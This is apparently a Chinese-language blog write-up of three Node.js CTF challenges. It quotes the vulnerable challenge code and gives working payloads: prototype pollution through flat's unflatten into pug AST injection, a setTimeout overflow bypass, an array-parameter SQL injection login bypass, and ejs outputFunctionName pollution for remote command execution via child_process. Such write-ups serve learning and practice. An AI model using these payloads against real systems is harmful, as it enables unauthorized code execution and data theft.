几道和node有关的ctf题目
湖湘杯 2021 final vote
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { hero } = unflatten(req.body); //触发原型链污染
console.log(hero)
if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
return res.json({
'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' }) //触发AST注入
});
} else {
return res.json({
'response': 'Please provide us with correct name.'
});
}
});
module.exports = router;
谷歌搜ast injection第一个就是exp。unflatten触发原型链污染，pug触发AST注入。
{
"hero.name":"锐雯",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`cat /flag>/app/static/flag`)"
}
}
好像不太难，后面想跟着文章跟一下pug的AST，发现太菜了完全看不懂qwq
GKCTF 2020 ez三剑客-easynode
首先要把delay弄小点，绕一下这个东西
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度，我就直接这样写了，其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
随便试了试，delay设成非常大的数就okk
后面调试时候发现是因为
(node:34800) TimeoutOverflowWarning: 1e+39 does not fit into a 32-bit signed integer.
Timeout duration was set to 1.
也就是说timeout第二个参数大于32位整数就会自动设成1ms
然后就是危险函数safer(?)Eval
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
console.log(e)
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
谷歌第二条就是poc
https://snyk.io/test/npm/safer-eval/1.3.6
用curl检验被抛出异常，以为poc有问题，本地debug一下才发现是题目不出网。。而且由于直接把response发回来，所以是有回显的。浪费时间了属于
最后上网搜了一下，前面绕delay也可以把访问uri改成/eval/
GKCTF 2021 easynode
首先得先绕登录
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
str slice看着就不对，正常应该直接str[i]='*'完事。
众所周知get/post是可以传数组的。构造一个username和password
username[]=' or 1 #&username[]=(&password=foo
这样username就变成
username=["' or 1 #","("]
由于括号被替换发生了字符串相加，username变成
username=' or 1 #\*
这样就逃出了引号，完成注入。
然后在test.js发现exp(还有这种好事?)
var jsExtend = require("js-extend")
var obj = {"123":"saddas"}
var malicious_payload = '{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x","name":"123"}}';
console.log(malicious_payload);
console.log("Before: " + {}.outputFunctionName);
jsExtend.extend(obj, JSON.parse(malicious_payload));
console.log("After : " + {}.outputFunctionName);
app.get('/test',async (req,res)=>{
username="__proto__";
board ='{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'
extend({},JSON.parse(board));
console.log({}.outputFunctionName);
console.log(JSON.stringify(board));
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
依葫芦画瓢(原理以后填坑吧)，触发条件有俩：
一是把字符串x'{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'传到extend({},JSON.parse(x))中的x里，二是让x作为ejs.renderFile的第二个参数。
第二个条件在/admin下
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
看了看，要想办法让board可控
第一个条件在/adminDiv
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
发现data是可控的，但username不太对。注册一个名为__proto__的用户名即可
在/addAdmin下。拿好sql注入得到的token去注册proto，然后再用proto登录拿另一个token。然后去adminDiv发送payload
/POST data={"outputFunctionName"%3a"x%3bglobal.process.mainModule.require('child_process').exec('sleep+5s')%3bx"}
再用proto访问/admin即可RCE
本地通了，nss上的环境若无其事，救命qwq
总结？
好像没怎么手动找原型链，都是现成的exp qwq(来自某脚本小子的哭泣)
下次一定
